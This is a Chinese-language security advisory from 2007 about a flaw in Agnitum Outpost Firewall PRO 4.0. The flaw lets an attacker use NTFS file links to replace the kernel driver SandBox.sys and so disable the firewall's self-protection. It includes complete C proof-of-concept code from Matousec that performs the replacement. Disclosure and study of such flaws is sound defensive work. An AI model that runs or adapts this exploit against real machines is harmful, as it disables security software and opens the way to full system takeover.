安全研究

安全漏洞
Outpost防火墙文件链接绕过安全保护机制漏洞

发布日期:2007-01-15
更新日期:2007-01-16

受影响系统:
Agnitum Outpost Firewall PRO 4.0 (971.584.079)
Agnitum Outpost Firewall PRO 4.0 (964.582.059)
Agnitum Outpost Firewall PRO 4.0 (1005.590.123)
Agnitum Outpost Firewall PRO 4.0
描述:
BUGTRAQ  ID: 22069

Outpost Firewal Pro是一款小巧的网络防火墙软件,包括了广告和图片过滤、内容过滤、DNS缓存等功能。

Outpost使用各种SSDT钩子保护其安装目录中的文件和目录,但在实现这种保护时无法防范恶意的应用程序调用原始API ZwSetInformationFile类FileLinkInformation,这允许攻击者在调用该函数时替换系统没有使用的文件。

Outpost安装目录中的一个有漏洞文件为SandBox.sys。攻击者可以使用伪造的拷贝替换这个驱动,而在下一次重启的时候系统就会加载这个驱动。由于驱动是以特权的内核模式运行的,因此这可能导致完全的系统控制。

<*来源:Matousec (http://www.matousec.com/)
  
  链接:http://www.matousec.com/info/advisories/Outpost-Bypassing-Self-Protection-using-file-links.php
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

Testing program for Bypassing Self-Protection using file links (BTP00003P004AO)


Usage:
prog INSTDIR
   INSTDIR - Outpost installation directory

Description:
This program uses native Windows API function ZwSetInformationFile to replace "SandBox.sys"
with a fake copy of this driver. The fake driver used by this testing program is an original
"SandBox.sys" that was modified not to install Self-Protection SSDT hooks. After the system is reboot
Outpost Self-Protection does not work and Outpost is exposed to common manipulation.
For example files in the Outpost installation directory can be deleted or renamed.

Test:
Running the testing program with a path to the Outpost installation directory as an argument,
restarting the system and an attempt to delete some files in the installation directory.

*/

#define _WIN32_WINNT 0x0500
#undef __STRICT_ANSI__
#include <stdio.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
  printf("Testing program for Bypassing Self-Protection using file links (BTP00003P004AO)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2006 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test INSTDIR\n"
         "  INSTDIR - Outpost installation directory\n");
  return;
}

void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %ld\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %ld.\n",code);
  return;
}



/*
name_to_native converts classic windows file name like "c:\test.txt"
to native format like L"\??\c:\test.txt"
the return value is NULL if the function fails
otherwise it is a mallocated pointer to UNICODE_STRING that must be freed
*/

PUNICODE_STRING name_to_native(char *name)
{
  char *buf=malloc(sizeof(UNICODE_STRING)+2*MAX_PATH*sizeof(wchar_t));
  if (!buf) return NULL;


  PUNICODE_STRING us=(PUNICODE_STRING)buf;
  wchar_t *usbuf=(wchar_t*)(&buf[sizeof(UNICODE_STRING)]);

  wchar_t namew[MAX_PATH];
  snwprintf(namew,MAX_PATH,L"%S",name);

  us->Length=0;
  us->MaximumLength=2*MAX_PATH;
  us->Buffer=usbuf;
  
  if (RtlDosPathNameToNtPathName_U(namew,us,NULL,NULL)) return us;
  else return NULL;
}


/*
create_link replaces destination with NTFS link to source
the return value is TRUE if the link was created, FALSE otherwise
*/

int create_link(char *source,char *destination)
{
  HANDLE file=CreateFile(source,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
  if (file==INVALID_HANDLE_VALUE)
  {
    fprintf(stderr,"Unable to open file \"%s\".\n",source);
    print_last_error();
    return FALSE;
  }

  int res=FALSE;
  IO_STATUS_BLOCK iosb;

  char buf[sizeof(FILE_LINK_INFORMATION)+2*MAX_PATH*sizeof(wchar_t)];
  PFILE_LINK_INFORMATION info=(PVOID)buf;
  info->ReplaceIfExists=TRUE;
  info->RootDirectory=0;

  PUNICODE_STRING ntname=name_to_native(destination);
  if (ntname)
  {
    info->FileNameLength=ntname->Length;
    wcsncpy(info->FileName,ntname->Buffer,ntname->Length);

    NTSTATUS stat=ZwSetInformationFile(file,&iosb,info,sizeof(FILE_LINK_INFORMATION)+info->FileNameLength,FileLinkInformation);
    if (NT_SUCCESS(stat))
    {
      printf("Link \"%s\" to \"%s\" created.\n",destination,source);
      res=TRUE;
    } else fprintf(stderr,"Unable to create link \"%s\" to \"%s\", ZwSetInformationFile returned 0x%lX.\n",destination,source,stat);

    free(ntname);
  }
  CloseHandle(file);
  return res;
}



int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  char sandbox[MAX_PATH];
  snprintf(sandbox,MAX_PATH,"%s\\Kernel\\SandBox.sys",argv[1]);

  if (create_link("FakeSandBox.sys",sandbox))
  {
    printf("\nTEST SUCCESSFUL!\n");
    return 0;
  }

  fprintf(stderr,"Unable to create hard link.\n");
  printf("\nTEST FAILED!\n");
  return 1;
}

建议:
厂商补丁:

Agnitum
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.agnitum.com/

浏览次数:2903
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障